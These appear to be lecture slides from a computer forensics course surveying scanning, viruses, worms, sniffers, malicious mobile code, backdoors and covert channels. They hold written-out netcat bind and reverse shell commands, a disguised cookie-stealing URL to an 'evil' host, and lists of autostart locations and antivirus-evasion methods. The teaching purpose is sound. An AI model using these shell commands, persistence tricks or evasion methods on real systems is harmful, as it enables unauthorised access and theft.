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Malware: Scanners, Sniffers, Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics

Malware: Scanners, Sniffers, Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics

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  • Slide 1
  • Malware: Scanners, Sniffers, Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics
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  • Scanning Wireless Scanners War driving: Finding Wireless Access Points Normal WLAN needs < 100 m to access point to function well. Good antenna can get a signals from miles away. Omni-directional antenna make war driving easy. Directional antenna yield better results. Can build a good one out of a Pringles box.
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  • Scanning Home-made War Driving Antenna
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  • Cantenna COEN 252 Project
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  • Scanning War driving goal: Locate WLANs Determine Extended Service Set Identifier (ESSID) Access points transmit beacon packets approximately every 100 msec.
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  • Scanning Active Scanning: Broadcast 802.11 probe packets with ESSID of Any Implemented by netstumbler. Or Windows XP SP 2. Listening for Beacons Put wireless card into the monitor mode. AKA rfmon Read all packages. Implemented by Wellenreiter, Kismet, Forcing Deauthentication Some WLANs ignore probes with an ESSID of any. First, get MAC address of access point. Tool sends a wireless deauthenticate message to client with spoofed MAC of access point. Clients now need to reassociate, revealing the ESSID.
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  • Scanning Hardening Set ESSID to something that does not contain the name of your organization. Configure access points to ignore probe requests that dont include the ESSID. Use stronger authentication mechanism. Do not rely on MAC address alone, since this can be spoofed. Switch from WEP to WPA Reset transmission power of access points.
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  • Scanning War Dialing Looking for modems by dialing all numbers of an organization. Target are ill-configured modems. Especially those connected to computers with remote control products such as VNC, psAnywhere, Mini Remote Control, Laplink Gold,
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  • Scanning Network Mapping (Assume that attackers have gained access to the target system.) Sweeping: Attempting to ping all possible addresses. Port mapping: Identify services listening on ports: TCP Connect Scan Tries to complete TCP threeway handshake. TCP Syn Scan Attacker sends Syn, but does not ack to the Syn-Ack response by the target. (Many systems do not log these interrupted connection attempts.) Could result into an accidental DOS attack, since target buffers these attempts waiting for completion. Attacker could send Reset instead of the final Ack to avoid this.
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  • Scanning Network Mapping Port mapping: Identify services listening on ports: Protocol Violators: TCP FIN Attacker sends FIN packet. Target supposed to send RESET packet, if port is closed. Target does not send anything back if the port is open. Xmas Tree Scan: Attacker sends packets with URG, ACK, PSH, RST, SYN, and FIN flags. Null Scan: Attacker sends packet without any flags set. Closed port sends RESET, listening port sends nothing.
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  • Scanning Network Mapping Port mapping: Identify services listening on ports: Protocol Violators: TCP ACK Scan Firewall Friendly: Stateless firewalls will only let TCP packages through with the ACK flag set. If packet passes through the firewall, then the internal system answers with a RESET packet. Response of target is somewhat OS dependent.
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  • Scanning FTP Bounce Scans: Goal: Source IP address does not show up in target logs. Exploits old FTP option (sometimes available with printers that support FTP) : FTP server allows a user to connect to them and requests that the server send a file to another system. Attacker requests that a file is sent to every port on the target. If the target port is open, then the FTP server tells the attacker that it opened the connection, but could not communicate. If the target port is closed, then the FTP server tells the attacker that it could not communicate with the target.
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  • Scanning Idle Scanning IP header includes a field IP Identification. Bunches together a bunch of fragments. Windows increases IP ID by one whenever it needs a new number. Attacker first identifies a system that is being blamed. Attacker then determines the current IP ID at the blamed system. Attacker then sends fake message purporting to be from the blamed system to the target. Target will increment IP ID number at the blamed system if it sends a reset. Attacker determines whether the IP ID number has increased.
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  • Scanning SYN scapegoat target
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  • Scanning ACK IP-ID = 5
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  • Scanning SYN to TCP port 12345
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  • Scanning SYN-ACK from Port 12345
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  • Scanning Port open: Reset, IP- ID = 6
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  • Scanning SYN
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  • Scanning SYN-ACK IP-ID = 7
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  • Scanning Aha: Target must have sent a reset attack.
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  • Malware Architecture COEN 152/252
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  • Malware Types Self-replicating malware Creates new instances of itself In contrast to passive replication Population growth Changes in number of instances Parasitic malware Requires some other executable code to exist
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  • Malware Types Logic Bomb not self-replicating, zero population growth, possibly parasitic Consists of Payload An action to be performed Trigger Boolean condition to be executed Example: If Thomas Schwarz is not getting paid then delete the COEN website.
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  • Malware Types Trojan Horse parasitic Program that purports doing something benign But secretely performs a malicious task Example: Authentic looking login page with username and password prompt Stores result in a file, exits user, so that true login page appears
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  • Malware Types Backdoor Mechanism that bypasses normal security checks Virus Self-replicating Positive Population Growth Parasitic Runs when a certain executable runs Infects other executables Traveling on same system, floppy, CD, DVD, USB First mentioned in SF novel The Scarred Man Gregory Benford, 1970
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  • Malware Types Worm self-replicating positive population growth not parasitic Spread from machine to machine across a network
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  • Malware Types Rabbits Tries to consume all system resources by multiplying quickly Fork bomb A worm that deletes itself after infecting another machine Worm hops from machine to machine
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  • Malware Types Spyware Software that collects information from a system and transmits it to someone else. Addware Spyware that presents adds.
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  • Virus Viruses consist of Infection Mechanism Can be multipartite Trigger (optional) Payload (optional)
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  • Virus Target Classification Boot-Sector Infectors File Infectors Macro Viruses Concealment Strategy Classification No Concealment Encryption Stealth Oligomorphism, Polymorphism, Metamorphism
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  • Virus: Boot Sector Infectors Contains code that runs when a system starts up. Volume Boot Record First sector of an unpartitioned storage device First sector of an individual partition Master Boot Record First sector of data storage device that has been partitioned
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  • Virus: Boot Sector Infectors Booting: Bootstrap loader Loads software to start OS Multi-stage bootstrap loader Boot sequence on IBM-PC Runs instruction at memory location F000:FFF0 of BIOS Jumps to execution of BIOS startup program Executes Power-On Self-Test (POST) Checks, initializes devices Goes through preconfigured list of devices If it finds bootable device, loads, and executes boot sector Assume MBR on hard drive MBR contains address of bootable partition Load boot sector of bootable partition Boot sector moves OS kernel into memory and starts it
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  • Virus: Boot Sector Infectors Boot Sector Infector Copies itself into the MBR or VBR Typically after making copy of MBR in a safe location Michelangelo: April 1991 Moves original boot sector to safe location Infects all floppy disks inserted into computer Payload: overwrites file system with zeroes Extinct in the wild
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  • Virus: Boot Sector Infectors Boot Sector Infector Stoned Virus Original version infects only 360KB diskettes 1988 Many variants Behavior Becomes memory resident Disables interrupt 12 Infects MBR Infects all diskettes Moves boot sector to sector 11 and copies itself into sector 0 Same values as chosen by Michelangelo, so that computers infected with both became immediately dysfunctional Usually destroys part of the file system Payload: Displays message during boot process: Your PC is now Stoned! Your computer is now stoned.
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  • Virus: Boot Sector Infectors Extinct in the wild: Floppies are rarely used to boot, disabling the propagation mechanism OS prevent writing to a disks boot sector without proper authorization BIOS can enable boot block protection
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  • Virus: File Infectors Virus infects executables Virus is placed in an executable Prepending Virus: At the beginning Execution of a *.com loads file into memory Set PC to beginning of file Often copies infected file further down
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  • Virus: File Infectors Appending Virus: At the end To get control Save original instruction in code, replace by jump to viral code, execute virus, restore original instruction and jump to them or run original instruction at saved location followed by jump to the rest of the code Executable file formats can specify start location in file header
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  • Virus: File Infectors Overwriting Viruses Atop original code Does not change file size Virus gets control in normal execution of file Placement Strategies: Place virus in superfluous data Place virus in file slack or unused allocated file space Stash overwritten contents in a companion file Compress (parts of) the original file, decompress
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  • Virus: File Infectors Inserting Virus Move target code out of way Intersperse small pieces of virus with infected file Companion Virus Virus gets executed before infected file Infected file barely changed
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  • Virus: File Infectors Companion Virus Example Change name of target file Copy notepad.exe to notepad.exp Virus is in new notepad.exe, which calls notepad.exp Virus placed earlier in search path notepad.exe in a different directory than real notepad.exe notepad.com is executed before notepad.exe Use Windows registry to change association for.exe files Change interpreter in ELF files Typically the run-time linker, but now virus Associate icon of target with virus
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  • Virus: Macro Virus Macros Code that is part of documents. Used extensively in MS Office Tools Written in or translated to Visual Basic for Applications (VBA) code Macro Virus Changes or creates new macro
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  • Virus: Macro Virus Example: Concept 1995-1997 Infects Words global document-template NORMAL.DOT Creates PayLoad and FileSaveAs macros Infects all documents saved with the Save As command
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  • Virus: Macro Virus Example: Laroux 1996 Excel macro virus Consists of auto_open and check_files auto_open executes whenever an infected spreadsheet is opened, followed by check_files Virus looks for PERSONAL.XLS Virus contains no malicious payload
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  • Virus: Macro Virus Protective Strategies Later versions of MS Office have security levels for execution of macros Level high only executes signed macros MS Office provides warnings when files contain macros ScanProt (Word prior to 7.0a) scans for the Concept virus
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  • Virus: Concealment Encryption Virus body is encrypted to make it harder to detect Virus needs to contain a decryption engine Encryption methods range from very simple to strong
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  • Virus: Concealment Stealth Virus takes active steps to conceal infection Restore original file timestamp Intercept system calls to play back original information of file Change I/O calls in DOS Change system libraries in more sophisticated OS Run rootkit Anti-stealth virus Virus makes all files look infected Payload: Anti-virus software deletes all other files
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  • Virus: Concealment Oligomorphism Encrypted virus changes encryption key between infections Infected files have different file signatures Polymorphism Virus also changes decryption engine By using equivalent instruction sequences By using different versions Tremor had 6 decryption engines Makes it difficult for virus to detect its presence Virus can use specific timestamp (e.g. add 100 to file year) Pad file sizes of infected files to a certain value Use hidden flags in ELF format Use metadata or alternative data streams (in NTFS) Store data in registry or other location
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  • Virus: Concealment Hiding Decryptor Engine Using a mutation engine Instruction equivalence All these set register r0 to zero: clear r0 xor r0,r0 and 0, r0 move 0, r0 Instruction sequence equivalence Instruction reordering Register renaming Data reordering Spaghetti code Junk code insertion Run-time code generation Use a virtual machine Use concurrent threads to make analysis difficult Inlining, outlining, call sequence changes
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  • Virus: Concealment Metamorphism Use code modification to change body of virus
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  • Virus: Antivirus Techniques Detection Identification Disinfection
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  • Virus: Antivirus Techniques Static Detection Mechanism On-demand / On access scanning Virus signatures a.k.a scan strings: Identifying substrings in infected code Problem: How to search for many patterns at once Static Heuristics Positive Heuristics Negative Heuristics
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  • Virus: Antivirus Techniques Static Detection Mechanism Positive Heuristics (Boosters) Junk code Decryption loops Self-modifying code Use of undocumented API Manipulation of interrupt vectors Unusual instructions, especially those not emitted by a compiler Strings containing obscenities or virus Difference between entry point and end of file Spectral analysis Frequency analysis of instructions
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  • Virus: Antivirus Techniques Static Detection Mechanism Negative heuristics = stoppers user input GUI popups Analysis Weighted measure trained by good and bad sets Neural networks Data mining
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  • Virus: Antivirus Techniques Static Detection Mechanism Integrity Checks Tripwire: Calculate cryptographically secure hash of all system files Store it in unchangable directory E.g. CD-ROM Scan periodically to check integrity of all system files Updates: Check integrity of system Patch system Calculate new checksums Self-checking of antivirus software
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  • Virus: Antivirus Techniques Dynamic Methods Behavior blockers: Software monitors running program in real time Watches for suspicious activity such as file system accesses Appending virus opens executable for reading and writing Generates activity signature of bad pattern: open, read, write, seek to end, appending, close Use notion of ownership to prevent too many false positives
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  • Virus: Antivirus Techniques Dynamic Methods Emulation Analyze code before letting it run Emulation uses dynamic heuristics Same as static heuristics Same as behavior blockers Emulation uses generic decryption Use virus own decryption loop to scan for decrypted virus Decryption loop should have run when: Program accesses code that it just modified 24B + of modified memory Emulator can run signature searches some time into run-time of emulated code
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  • Virus: Antivirus Techniques Dynamic Methods Emulator Architecture Single stepping through a program can be detected by virus through timing Instead: 1. CPU emulation 2. Memory emulation 3. Hardware and OS emulation 4. Emulation control Major Issue: When to stop Number of instructions Amount of time spent emulating Proportion of instructions that modify memory Presence of stoppers 5. Post Analysis Data Instruction histogram Dead code
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  • Virus: Antivirus Techniques Dynamic Methods Reentering emulation: Virus code can be CPU specific. Emulation might need to run with different CPU parameters. Installation of interrupt handlers should trigger emulation of the interrupt handlers Using goats to verify infective behavior Emulator provides a goat file to suspect file to see changes.
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  • Virus: Antivirus Techniques Verification and Identification Verification reduces false positives necessary for disinfection Difficult only with polymorphic viruses Try to decrypt virus body X-raying Side effect of emulating decryptor engine Breaking weak encryption Identify using signatures known copy of virus check-summing of virus
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  • Virus: Antivirus Techniques Quarantine Quarantine isolates infected file from rest of the system Often, copying of file to a quarantine directory Trivially encrypt file to make it unrunnable Render files in quarantine directory invisible
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  • Virus: Antivirus Techniques Disinfection Restore files from backup Virus-specific actions
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  • Virus: Antivirus Techniques Anti-Macro Virus Macro can change through reformatting MS Word document converter has produced new versions of a macro virus Bugs in macro virus propagation mechanism can introduce new variants Macro virus can incorporate other macros Happened to a Word macro snatching two anti- virus macros from MS
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  • Anti-Anti-Virus Techniques Aggressively attack anti-virus software Impede anti-virus analysis by anti-virus labs Use knowledge of anti-virus mechanisms to avoid dectection Not anti-virus virus Beneficial virus
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  • Anti-Anti-Virus Techniques Retrovirus Disables anti-virus software Virus has list of process names of anti-virus products Kills any processes with these names Disables antivirus program Ganda inspects programs that run at start-up (autorun) Replaces first instruction of identified anti-virus programs with a return Reduce priority of anti-virus software so that it never runs Disable look-up of antivirus software updates
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  • Anti-Anti-Virus Techniques Entry point obfuscation (EPO) Alternative ways of getting virus code to run Simile, Ganda look for calls to ExitProcess API
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  • Anti-Anti-Virus Techniques Anti-Emulation Outlast emulation Virus can do nothing bad for a long time Virus only replicates randomly Entry-point obfuscation also delays virus execution Outsmarting emulation Restructure viral code No longer looks like a virus
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  • Anti-Anti-Virus Techniques Anti-Emulation Emulator detection Use undocumented CPU instructions In the hope that emulator crashes on them Exploit differences in CPU Attack emulator memory system use many memory addresses go to unusual memory locations Test for changes between API calls E.g. emulator returns always the same time stamp Import obscure libraries Looking for external things Hard to emulate Check for specific emulators
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  • Anti-Anti-Virus Techniques Armoring, Anti-Debugging Armoring Use anti-reverse engineering techniques to make analysis of virus behavior difficult Detecting Debug Mode Use debugger specific idiosyncrasies Detect breakpoint insertion Breakpoints are implemented through system interrupts Check for single-stepping Interrupt dumps info on stack Push on stack, then pop, see whether item is still there Check for system time Manipulate prefetch queue in CPU Use IsDebuggerPresent API
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  • Anti-Anti-Virus Techniques Tunneling Tunneling virus backtracks interrupt chain to go directly to DOS and BIOS interrupt handlers Avoids monitoring Only possible in MS-DOS Kernel software protected in other OS
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  • Anti-Anti-Virus Techniques Anti-Integrity Checking Polymorphic virus can hide file changes against simple checksums Slow virus only changes files that are about to be changed anyway
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  • Anti-Anti-Virus Techniques Avoidance Virus infects areas that are not checked by anti-virus software
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  • Worms Worms: Propagates across a network Typically, does not require user action for propagation. Virus: Infects files. Typically requires user interaction.
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  • Worms Worm Components Warhead Propagation Engine Target Selection Algorithm Scanning Engine Payload
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  • Worm Warhead A piece of code that exploits a vulnerability on the target system Exploits such as Buffer Overflow Exploits File Sharing Attacks E-mail Common Mis-configurations
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  • Worm Propagation Engine After gaining access, the worm must transfer itself to the target machine. Some worms are completely contained in the warhead. File Transfer Mechanisms FTP TFTP HTTP SMB (MS Server Message Block) Windows file sharing Unix servers running SAMBA
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  • Worm Target Selection Algorithm Once the worm has gained control of a target, it starts looking for new targets. E-mail addresses Host lists Trusted Systems Network Neighborhood DNS queries Randomly selected ip address.
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  • Worm Scanning Engine Once targets are identified, the worm scans for the original vulnerability.
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  • Worm Payload Some specific action done on behalf of the attacker. Opening up a backdoor. Planting a distributed denial of service attack. Performing complex calculations: password cracking math research (actually happened)
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  • Worm Spread Worm spread is limited Diversity of machines Tiny Worm targeted only machines running security software from a medium company was successful in infecting most machines with that software. Worms can contain support for multiple entry methods. Too many victims crash Fast worms can cause network congestion
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  • Worm Trends Multiplatform worms Multiexploit worms Zero-day exploit worms No chance to patch Fast-spreading worms: Warhol / Flash pre-scan targets Polymorphic worms Change appearance Metamorphic worms Change functionality
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  • Worm Defenses Ethical (?) Worms Antivirus tools Fast patching services Firewalling Block arbitrarily outbound connections Prevents spreading Establishment of Incident Response Capabilities
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  • Sniffers Sniffers: a program that gathers traffic from the local network. Primary attack example: Sniffers look for authentication information from clear- text protocols such as ftp or telnet. Passive Sniffing: Sniffer only gathers packets but does not change the network. Active Sniffing: Sniffer changes network settings. Example: ARP poisoning in order to route traffic through the machine with the sniffer.
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  • Sniffers Active Sniffing Strategies: Used to circumvent switches passing packets on only on the relevant links. MAC Flooding: Switches contain a Content Addressable Memory (CAM) table that maps MAC addresses and physical ports. MAC flooder sends a flood of traffic with random spoofed MAC addresses. When CAM is exhausted, switches either fail open (become hubs) or fail closed (stop working). ARP Spoofing: Attacker sends fake ARP messages to change ARP mappings. Port Stealing: Attacker sends numerous spoofed packets with MAC of the gateway. Switch maps the MAC of gateway to the port on which the attacker sits. Victim sends packets to the attacker, who buffers them. Attacker finally sends an ARP request to clear the switchs mapping. Gateway responds to the ARP request. This causes the switch to remap the gateways MAC to the proper port. Attacker now sends buffered packets to the gateway.
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  • Sniffers Active Sniffing Strategies: DNS spoofing Attacker sniffs DNS request from the line. Victim tries to resolve a name using DNS. Attacker sniffs the request and sends fake DNS answer. Victim sends traffic now to attacker.
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  • Sniffers Active Sniffing Strategies: Sniffing HTTPS and SSL with man-in-the-middle attack. Attacker uses DNS poisoning to reroute victims requests to his website. Victim establishes SSL connection to the attacker. Attacker proxies the connection and sends certificate of his own making to victim. Victims browser / SSL client complains about invalid certificate. Error message is typically something like: You are currently not trusting this authentication authority. Nave user accepts.
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  • Sniffers Active Sniffing Strategies: TCP Nicing Attacker injects tiny TCP window advertisements. Victim slows down TCP rate and sniffer can keep up.
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  • Malicious Mobile Code Mobile Code Light-weight code that is downloaded from a remote system and executed locally with none or little user intervention. Examples: Java Applets JavaScripts Visual Basic Scripts Active X controls
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  • Malicious Mobile Code Targets of malicious codes: Monitoring of browser activities. Obtaining access to file system. Infection with a Trojan horse. Hijacking web browser.
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  • Malicious Mobile Code Target Applications Web-browsers (most important target) E-mail readers Either directly or because they use the installed browser to read html messages. XML-based protocols Web Service Architecture
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  • Malicious Mobile Code Browser scripts: Use scripting languages such as JavaScript, JScript, VBScript,
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  • Malicious Mobile Code Attack code Can exhaust resources. By creating an infinite series of dialogue boxes. By creating a form and fill in an infinite number of characters. Hijack the browser: Takeover browser process.
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  • Malicious Mobile Code Browser Hijacking Use the onunload( ) function: Can be enhanced by resizing the window to fill the screen: self.moveTo(0,0); self.resizeTo(screen.availWidth,screen.availHeight); Can be enhanced with popup windows. Add bookmarks: window.external.addFavorite(http://www.cse.scu,Info);
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  • Malicious Mobile Code Stealing cookies via browser vulnerabilities Browser automatically supplies cookies associated with the domain of that website. These cookies can contain valuable information. Including authentication.
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  • Malicious Mobile Code IE 5.01 vulnerability: Create server-side program capable of reading cookies. Compose a URL that would fool the browser into thinking that the site visited belongs to a different domain. http:// evil.site.com%2fget_cookies.html%3f.boa.com is translated into http://evil.site.com/get_cookies.html?.boa.com IE 5.01 would think that the top URL belongs to the boa domain and provide the cookies.
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  • Malicious Mobile Code Capturing cookies With tricky URLs (see above) URL can be hidden in a javascript command or in a hidden region of html code.
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  • Malicious Mobile Code Mozilla had a vulnerability that executed javascript in the URL.
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  • Malicious Mobile Code Browsers allow Javascript in URL if preceded by javascript:
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  • Malicious Mobile Code Browsers allow Javascript in URL if preceded by javascript. Change javascript in URL to retrieve cookies.
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  • Malicious Mobile Code XSS (cross scripting) attack Authors injects malicious code into a website. Browsers of visitors to this website will execute the code.
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  • Malicious Mobile Code XSS (cross scripting) attack Vulnerable search engine does not strip out the JavaScript script: Search engine sends the script back to victims browser. Victims browser executes JavaScript. Browser pop-ups alert with cookie values. Attacker needs to trick the victim into using this URL.
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  • Malicious Mobile Code XSS (cross scripting) attack Assume victim has interactions with a vulnerable website. Attacker crafts a link, sends it to the victim (e.g. via email) and tricks the victim into clicking on the link. Victims browser uses the attacker-provided URL to go to the vulnerable web server. Web server reflects JavaScript back to victims browser. Victims browser executes JavaScript (because it trusts the vulnerable web server.) Attack JavaScript payload might be transmission of cookies. Cookies can then be used to hijack a session,
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  • Malicious Mobile Code XSS (cross scripting) attack Malicious script can also be embedded in html documents.
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  • Malicious Mobile Code Script sends invisible request to evil.scu.edu containing cookies. Attackers cgi script on the evil side processes the cookies. Stolen cookies can be used to clone connections.
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  • Malicious Mobile Code Defenses on Server Side Input filtering Remember, all input is (potentially) evil. This is very hard, since scripts can be hidden very well. Output filtering The attack scripts needs to be reflected to the victim. So, this works.
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  • Malicious Mobile Code Defenses on Client (= Browser) side Never surf the internet with administrator privileges. Disable scripts. IE explorer introduced security zones to automatically disable scripts for general domains.
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  • Malicious Mobile Code Active X Controls Part of Common Object Model COM Have the same powers as a normal program Microsoft Agent allows inclusion of animated and interactive cartoon characters in web pages. Are executed with the same permission set as the browser. E.g. administrator privileges.
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  • Malicious Mobile Code Active X-controls can be cryptographically signed. Possible to use social engineering to get users to accept the active X-control. For example, sign certificate by unknown certification authority.
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  • Malicious Mobile Code Browser Plug-Ins (a.k.a. Browser Helper Objects (BHO) for IE.) Extends functionality of IE. Google search bar is an BHO Preferred by writers of spyware. Gator Xupiter Have hidden functionality Check with BHODemon
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  • Malicious Mobile Code
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  • Exploits in Non-malicious ActiveX controls Some ActiveX controls are only designed for local use since they access system resources. Could mistakenly be designated as safe for scripting. A hostile web-site can then call them in its html code. Eyedog (1999) Scriptlet.Typelib (1999) Some ActiveX controls are exploitable. Old Macromedia flash player when provided with a carefully crafted input string.
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  • Malicious Mobile Code Java Applets By default, run in a sandbox. Browser invokes Java plug-in. If not signed, Java Runtime Environment (JRE) runs it in a sandbox. If signed, java.policy file determines what happens. Attackers can use social engineering to get users to run bad java applets. Historically, there were exploits in the JRE.
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  • Malicious Mobile Code Java Runtime Engine exploits: Brown Orifice (2000) Applet was able to run as a web server with full access to the victims file system. Redirection of browsing session to an arbitrary server (2002) Van der Wal: applets used to access external URLs could bypass network access restrictions. Opera browser crash (2003) Malicious applet invoked Opera JRE class that crashed when provided with a long input string.
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  • Malicious Mobile Code E-mail clients can function essentially as a regular web browser. All mobile code exploits function for email clients. Javascript can execute by merely previewing the email. BubbleBoy and Kak worms spread via email messages.
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  • Malicious Mobile Code Web Bugs Tiny image within an html document. Lead to download http request. http request comes with source IP. Used by advertisers.
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  • Malicious Mobile Code Web bug privacy attack Attacker sets cookies with unique ID. Spam with web bug Call to web bug resource comes with cookie attached. Call to web bug resource comes with email address attached. Initial session is no longer anonymous.
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  • Malicious Mobile Code Exploiting Browser Vulnerabilities Assumed to be less dangerous, since victim needs to be tricked to go to a bad site. Example: Download.Ject flow in Internet Explorer (2004) Attacker took over several e-commerce servers. An innocent victim surfed to some of these sites. E-commerce server responded with a webpage that exploits the browser. Browser exploit downloads keylogger. Keylogger gathers financial data from victims computer use. Keylogger sends financial data to attacker controlled website.
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  • Malicious Mobile Code Exploiting Browser Vulnerabilities Example: IFRAME flaw (2004) Attacker took over an ad-server. Victims computer downloaded ad.
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  • Backdoors Backdoor: A program that allows attackers to bypass normal security controls on a system, gaining access to which they are not entitled.
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  • Backdoor Types Local Escalation of Privilege Remote execution of individual commands. Remote command-line access. Remote control of the GUI.
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  • Backdoor Installation Attacker has compromised the system Virus, worm, or malicious mobile code installs the backdoor. Social engineering: Tricking the victim into installing the backdoor....
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  • Starting backdoors automatically Attacker wants to maintain access to the system. Backdoor needs to restart whenever the system restarts. Methods are OS dependent.
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  • Starting backdoors automatically on Windows Altering Startup Files and Folders Registry Task Scheduler
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  • Starting backdoors automatically on Windows Startup folders and files Autostart folders for individual users and all users.
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  • Starting backdoors automatically on Windows Use: win.ini system.ini Modify shell=explorer.exe on Win9x wininit winstart.bat (Win9x) Autoexec.bat (Win9x) Config.sys (Win9x)
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  • Starting backdoors automatically on Windows Registry keys start programs on login or reboot: HKLM\SOFTWARE\Microsoft\Windows\Curr entVersion\ RunServicesOnce RunServices RunOnce Run RunOnceEx
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  • Starting backdoors automatically on Windows HKCU\SOFTWARE\Microsoft\Windows\Curr entVersion\ RunServicesOnce RunServices RunOnce Run RunOnceEx
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  • Starting backdoors automatically on Windows Registry keys start programs on login or reboot: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\SOFTWARE\Microsoft\Windows\CurrentVers ion\ShellServiceObjectDelayLoad HKLM\SOFTWARE\Policies\Microsoft\Windows\Sys tem\ Scripts Explorer\Run
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  • Starting backdoors automatically on Windows Registry keys start programs on login or reboot: HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKCU\SOFTWARE\Microsoft\Windows\CurrentVers ion\ShellServiceObjectDelayLoad HKCU\SOFTWARE\Policies\Microsoft\Windows\Sys tem\ Scripts Explorer\Run
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  • Starting backdoors automatically on Windows Registry keys start programs on login or reboot: HKCR\Exefiles\Shell\Open\Command Indicates programs that will be run every time another.exe is run.
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  • Starting backdoors automatically on Windows Use the task scheduler Check scheduled tasks with autoruns from Sysinternals
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  • Starting backdoors automatically on Unix Modifying the init daemon Modifying system and service initialization scripts Modify the internet daemon script Change user startup scripts Schedule jobs with Cron
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  • Starting backdoors automatically on Unix Modify the init daemon init daemon is the first process to start. uses /etc/inittab to find other processes that need to be started attacker merely adds line to inittab.
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  • Starting backdoors automatically on Unix Modify system and service initialization scripts About 20+ system scripts Located in /etc/rc.d or /etc/init.d Or merely plant a backdoor in an initialization script for another service. E.g. ppp daemon for PPP modem dial-up connections inetd network daemon change /etc/inetd.conf
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  • Starting backdoors automatically on Unix Adjust user startup scripts.login.cshrc /etc/profile.logout.xinitrc.xsession
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  • Starting backdoors automatically on Unix Schedule jobs with Cron
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  • Backdoor Defenses System integrity tools like tripwire Apply to all resources
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  • Backdoor with netcat netcat compiles into executable nc. On the victim: nc l p 2000 e cmd.exe (Windows) nc l p 2000 e /bin/sh (Unix) Sets up a listener on port 2000. On the attacker: nc [victim address] 2222 gives command shell.
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  • Backdoor with netcat Only works if attacker can establish a TCP connection to the port on the victim. Firewalls can block this.
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  • Backdoor with netcat Use an open door in the firewall and initiate connection on the victims machine: Shoveling a shell On the attackers machine: nc l p 80 netcat listener on port 80 On the victims machine: nc [attackers address] 80 e cmd.exe initializes outgoing connection to attacker then executes a shell
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  • Backdoor with netcat Alternatives to netcat cryptcat Tini Q Bindshell Md5bd UDP_Shell TCPshell Crontab- backdoor
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  • Virtual Network Computing Remote GUI tools Virtual Network Computing (VNC) Windows Terminal Services Remote Desktop Service Citrix MetaFrame PCAnywhere Dameware Back Orifice 2000 SubSevenwww.megasecurity.org
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  • Virtual Network Computing VNC server allow to shovel a shell. Can be remotely installed: Attacker has remote shell access on victim Attacker installs copy of VNC on his machine Attacker exports the registry keys associated with VNC to the victim Attacker moves four files to victim Attacker adds registry changes to victim This will display a VNC installation successful message on the victim Attacker starts VNC
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  • Defenses against Backdoor Shell Listeners Use firewalls Filter traffic in both directions. Firewall individual machines. Look for open ports. On the network (Nmap) Or with a trusted tool (on CD) locally. Close unneeded ports.
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  • Backdoors without ports ICMP backdoor ICMP messages dont use ports. Firewalls need to let some ICMP messages pass. ICMP messages can carry a few bytes of payload.
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  • Backdoors without ports ICMP backdoors: Loki 007shell ICMP Tunnel available at www.packetstormsecurity.org for free.www.packetstormsecurity.org
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  • Non-Promiscuous Sniffing Backdoors Sniffer in non-promiscuous mode sniffs for commands in packets destined for the local machine.
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  • Non-Promiscuous Sniffing Backdoors Cd00r sniffs for TCP packets to ports X, Y, Z the ports are not open syn packets to X, Y, Z: sniffer activates backdoor. backdoor opens TCP port and shovels shell. This can be detected. Is however unnecessary with a sniffer Future releases will discontinue this practice. Just craft special packets instead. when backdoor closes, port is closed.
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  • Promiscuous Sniffing Backdoors Promiscuous sniffer can gather packets send to any machine on the same LAN segment. IP address of suspicious traffic does not have to originate on the victim machine.
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  • Promiscuous Sniffing Backdoors
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  • Attacker has compromised the DSN server and installed a promiscuous sniffing backdoor there.
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  • Promiscuous Sniffing Backdoor Attacker sends a packet to the webserver at port 80. Messages passes through the firewall.
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  • Promiscuous Sniffing Backdoor Sniffer on the DSN server sniffs the package. Webserver does not know what to do with a malformed request. Firewall: Message to webserver. Let pass.
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  • Promiscuous Sniffing Backdoor Backdoor on DSN reacts to packet. Sends back message to attacker. Spoofed return address from webserver. Firewall lets it pass. Firewall: Message from webserver. Let pass.
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  • Covert Channels Covert Channels hide the fact that information passes through them. Tunneling: Protocol that carries data from another protocol. Example: SSH SSH allows to set up a secure connection between two computers. Can use this connection for insecure protocols such as ftp. SSH protects these insecure applications.
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  • Covert Channels Example: LOKI Source: Phrack 51 Attacker install Loki server (a.k.a. LokiD) on victim. Attacker runs Loki client on his own machine. Loki tunnels attackers commands: Attacker writes shell commands. Loki client sends out several ICMP packets to victim that contain part of the commands. Loki server receives ICMP packets and extracts attacker command. Loki server executes them. Reversely, Loki server wraps responses in ICMP messages, sends them to the Loki client, which displays them. Port scanners or netstat cannot detect Loki since ICMP does not use ports. Only traces are the Loki server running as root and ICMP messages going back and forth.
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  • Covert Channels Example: Reverse WWW Shell Source: www.thc.orgwww.thc.org Attacker needs to install the reverse WWW shell on victims machine Program spawns a child every day at a specific time. Executes a local shell and connects to www server owned by the attacker. This looks to a firewall like an ordinary http request. www server sends back html resources that the reverse shell interprets as shell commands. After a delay of 60 seconds in order to avoid exposure.
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  • Covert Channels Example: GoToMyPC Commercial, remote control tool that uses reverse WWW shell technology. Security depends on authentication strength (password).
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  • Covert Channels Tunnel through any TCP / IP traffic Insert data in unused or misused fields in the protocol header of packets, such as: IP Identification. TCP sequence number. TCP acknowledgment number.
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  • Covert Channels Tunnel through any TCP / IP traffic Insert data in unused or misused fields in the protocol header of packets, such as: Sequence Number. Can even be used with bouncing: 1.Client generate TCP SYN packet with spoofed source address of bounce server. Sequence number is set to one less than the ASCII code of the character to be transmitted. Bounce Server
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  • Covert Channels Tunnel through any TCP / IP traffic Insert data in unused or misused fields in the protocol header of packets, such as: Sequence Number. Can even be used with bouncing: 2.Bounce Server answers with an ACK and SYN. The ACK contains the Sequence Number of the first packet increased by one. Bounce Server Receiver
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  • Covert Channels Tunnel through any TCP / IP traffic Insert data in unused or misused fields in the protocol header of packets, such as: Sequence Number. Can even be used with bouncing: 2.Receiver sends back a SYN/ACK or RESET, obtains the character from the Sequence Number field (now the correct character). Bounce Server Receiver
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  • Defenses against backdoors without ports Backdoors still create running processes. Backdoors still create network packets. Backdoors might put MAC cards into promiscuous mode.
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  • Trojan Horses a program with added functionality.
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  • Trojan Horses Hiding names change name (of netcat, vnc,...) play with windows suffixes just_text.txt.exe This is ONE word with a bunch of spaces in it Use the.shs suffix (suppressed by system) just_text.txt.shs Shell scrap object Windows uses the suffix to decide what to do with a file.
